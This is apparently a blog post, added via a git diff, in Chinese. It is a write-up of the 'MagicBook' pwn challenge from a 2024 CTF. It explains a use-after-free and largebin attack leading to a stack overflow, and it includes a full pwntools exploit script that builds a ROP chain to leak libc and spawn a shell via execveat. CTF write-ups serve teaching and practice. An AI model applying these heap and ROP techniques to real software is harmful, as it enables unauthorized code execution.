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+---
+title: DASCTF 2024暑期挑战赛 - MagicBook
+date: 2024/7/30 09:14:00
+updated: 2024/7/30 09:14:00
+tags:
+    - heap - largebin
+    - largebin attack
+    - rop
+excerpt: 利用堆块漏洞和largebin攻击，通过execveat获取shell并打印flag。
+---
+
+{% note tip fa-heart %}
+感谢 *dbgbgtf* 提供的脚本用以复现
+{% endnote %}
+
+## 文件属性
+
+|属性  |值    |
+|------|------|
+|Arch  |x64   |
+|RELRO |Full  |
+|Canary|off   |
+|NX    |on    |
+|PIE   |on    |
+|strip |no    |
+|libc  |2.35-0ubuntu3.6|
+
+## seccomp rules
+
+<img src="/assets/dasjuly2024/seccomp.png" height="60%" width="60%">
+
+## 解题思路
+
+一个菜单题，没有show，只给了程序基地址。堆块删除不会清空，
+因此只能分配5个堆块。有一次堆块uaf机会，
+可以写`[ptr + 8]`~`[ptr + 0x20]`（刚好能写largebin的`bk_nextsize`）
+
+堆块大小允许超过0x400，因此可以做largebin attack，而在`edit_the_book`函数中，
+读取的长度是由`book`决定的。由于给了程序基地址，因此可以利用largebin attack，
+将堆地址写到`book`上，这样就可以造成栈溢出打rop
+
+{% note info fa-circle-info %}
+在[以前的文章中](/2023/12/02/abstract_shellcode/)中提到过`read`的参数`count`是不能超过`SSIZE_MAX`的，
+在官方wp中也提到了这一点，因此在主循环中每次都`book &= 0xffff`限制大小
+{% endnote %}
+
+只禁了`execve`系统调用，因此可以使用`execveat`来拿shell
+
+{% note tip fa-info %}
+在设置传参函数的时候还要将r8置为0，因为这个`flags`在我们的情况下是`0x1e`，
+会导致`execveat`无法打开shell
+{% endnote %}
+
+{% notel green fa-info `execveat`在libc中出现的时刻 %} 
+经过源码符号查找，首次出现这个系统调用的版本是[2.27](https://elixir.bootlin.com/glibc/glibc-2.27/source/sysdeps/unix/sysv/linux/fexecve.c#L43)，
+正式出现函数封装的版本是[2.34](https://elixir.bootlin.com/glibc/glibc-2.34/source/sysdeps/unix/sysv/linux/execveat.c#L26)
+{% endnotel %}
+
+## EXPLOIT
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+context.arch = 'amd64'
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './MagicBook'
+
+def payload(lo:int):
+    global sh
+    if lo:
+        sh = process(EXE)
+        if lo & 2:
+            gdb.attach(sh)
+    else:
+        sh = remote('', 9999)
+    libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.6_amd64/libc.so.6')
+    elf = ELF(EXE)
+
+    def createBook(size:int):
+        sh.sendlineafter(b'choice', b'1')
+        sh.sendlineafter(b'need', str(size).encode())
+    
+    def deleteBook(idx:int, page:int=0, content:bytes=None):
+        sh.sendlineafter(b'choice', b'2')
+        sh.sendlineafter(b'delete', str(idx).encode())
+        if content:
+            sh.sendlineafter(b'y/n', b'y')
+            sh.sendlineafter(b'page', str(page).encode())
+            sh.sendafter(b'content', content)
+        else:
+            sh.sendlineafter(b'y/n', b'n')
+
+    def editBook(content: bytes):
+        sh.sendlineafter(b'choice', b'3')
+        sh.sendafter(b'story!\n', content)
+
+    sh.recvuntil(b'gift: ')
+    pieBase = int(sh.recv(14), 16) - elf.symbols['d']
+    success(GOLD_TEXT(f'Leak PIE base: {pieBase:#x}'))
+    elf.address = pieBase
+
+    createBook(0x4e0)   # 0
+    createBook(0x20)    # 1 prevent 0 from being merged
+    createBook(0x4d0)   # 2
+    deleteBook(0)       # place 0 in unsorted bin
+    createBook(0x4f0)   # 3 place 0 in large bin
+
+    deleteBook(2, 0, p64(0) * 2 + p64(elf.symbols['book'] - 0x20)) # place 2 in unsorted bin
+    createBook(0x500)   # 4 place 2 in large bin and trigger large bin attack
+                        # write a heap address on book
+    # construct rop chain
+    gadgets = ROP(elf)
+    rdi = gadgets.rdi.address
+    ret = gadgets.ret.address
+    editBook(b'0'*0x28 + flat(rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['edit_the_book']))
+
+    libcBase = u64(sh.recv(6) + b'\0\0') - libc.symbols['puts']
+    success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}'))
+    libc.address = libcBase
+
+    gadgets = ROP(libc)
+    rsi = gadgets.rsi.address
+    rdx = gadgets.rdx.address # pop rdx; pop rbx; ret;
+    rcx = gadgets.rcx.address
+    r8 = libcBase + 0x1659e6
+    # execveat(0, "/bin/sh", NULL, NULL, 0)
+    sh.send(b'0'*0x28 + flat(rdi, 0, rsi, next(libc.search(b'/bin/sh')),
+                             rdx, 0, 0, rcx, 0, r8, 0, libc.symbols['execveat']))
+
+    sh.clean()
+    sh.interactive()
+```
+
+{% note warning fa-exclamation %}
+禁用了`execve`后，对于fork出来的程序也是有效的，因此后续不能使用`cat flag`来打印文件内容，
+应使用
+
+```sh
+read FLAG < flag
+echo $FLAG
+```
+
+来打印flag
+{% endnote %}
diff --git a/source/assets/dasjuly2024/seccomp.png b/source/assets/dasjuly2024/seccomp.png
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